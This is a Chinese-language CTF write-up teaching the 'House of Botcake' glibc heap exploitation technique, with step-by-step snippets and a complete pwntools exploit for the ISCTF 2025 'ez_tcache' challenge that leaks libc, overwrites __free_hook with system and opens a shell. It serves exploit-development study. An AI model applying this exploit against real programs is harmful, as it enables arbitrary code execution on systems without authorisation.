堆攻击——House of Botcake

介绍

House of Botcake 算是我第一个真正学会的 House of XXX 系列的攻击手段。它利用 glibc 堆管理器本身的设计缺陷来制造 double-free ,不仅非常精妙,而且方便使用、威力巨大。搭配 tcache poisoning 能够轻松制造任意写。

原理

虽然 glibc 在 2.29 为 tcache 添加了 double-free 检查,但是仅会检查 tcache 链表本身是否存在 double-free,而不会检查其他 bin 中是否存在 free 过的 chunk。
由于 tcache 本身的设计,这使得一个可以进入 tcache 的 chunk 必然可以进入 fast bin 或 unsorted bin。House of Botcake 利用这一点,将同一个 chunk 首先释放到 unsorted bin,之后再次释放到 tcache。成功实现 double-free。

条件

  • House of botcake 需要程序能同时分配 10 个 chunk,且存在 UAF 漏洞或可以多次释放一个指针的漏洞。
  • 需要glibc >= 2.27 ,因为在此之前没有 tcache

利用

首先分配 7 个 chunk,一个攻击用 chunk vict和辅助用 chunk prev,它们的大小都应当大于 fast bin 的上限且小于 tcache 的上限。之后再随意分配一个小堆块,防止释放的 chunk 与 top chunk 合并。

1
2
3
4
5
6
for i in range(0, 7):
allocate(0x80) # chunk #0-6

allocate(0x80) # vict #7
allocate(0x80) # prev #8
allocate(0x10)

之后依次释放分配的堆块,前七个 chunk 进入 tcache 并将其填满。

1
2
for i in range(0, 7):
free(i) # chunk #0-6

之后释放 victprev ,此时它们只能进入 unsorted bin,之后触发合并成为一个大堆块。

1
2
free(7) # vict #7
free(8) # prev #8

之后从 tcache 中分配出一个 chunk,使其产生一个空位。

1
allocate(0x80)

再次释放 vict ,此时 vict 同时存在于 tcache 和 unsorted bin 中,产生 double-free ,这里相当于 unsorted bin 和 tcache 重叠到了一起。

1
free(7) # vict #7

这时我们再分配一个稍大于 vict 的 chunk ,由于 tcache 中没有符合要求的 chunk ,所以堆管理器会切分由 victprev 合成的 chunk ,这时我们就可以覆盖 vict 的 next 指针,进行 tcache poisoning。

1
2
allocate(0x100) #9
edit(7, b'A' * 0x80 + p64(0) + p64(0x91) + p64(__free_hook) + p64(0))

例题

ISCTF 2025 ez_tcache

虽然官解并不是House of Botcake,但是并不妨碍这道题成为一道优秀的板子题。
delete 函数里有 UAF 漏洞,我们按照利用流程走,在释放 vict 后,我们可以使用 show 一便把 libc 基地址泄露出来,之后劫持 __free_hook 成 system。
完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context(arch='amd64', os='linux', log_level='info')

libc = ELF("./libc.so.6")

p = remote("challenge.bluesharkinfo.com", 21195)
#p = process("./pwn")

def add(p, size, content):
p.recvuntil(b"Your choice:")
p.sendline(b"1")
p.recvuntil(b"Size:")
p.sendline(str(size).encode())
p.recvuntil(b"Content:")
p.sendline(content)

def delete(p, idx):
p.recvuntil(b"Your choice:")
p.sendline(b"2")
p.recvuntil(b"Index:")
p.sendline(str(idx).encode())

def show(p, idx):
p.recvuntil(b"Your choice:")
p.sendline(b"3")
p.recvuntil(b"Index:")
p.sendline(str(idx).encode())

vic = 8
prv = 7

for i in range(0, 10):
add(p, 0x80, b"AAAA")

for i in range(0, 7):
delete(p, i)

delete(p, vic)

show(p, vic)
p.recvuntil(b"Content: ")
leak = u64(p.recv(6).ljust(8, b'\x00'))
print(hex(leak))

libc_base = leak - 0x1E4CA0
system_addr = libc_base + libc.sym.system

print(hex(libc_base))

delete(p, prv)
add(p, 0x80, b"AAAA")
delete(p, vic)

add(p, 0x100, b'\x00' * 0x80 + p64(0) + p64(0x91) + p64(libc_base + libc.sym.__free_hook) + p64(0))

add(p, 0x80, b'/bin/sh\x00')
add(p, 0x80,p64(system_addr))

delete(p, 12)

p.interactive()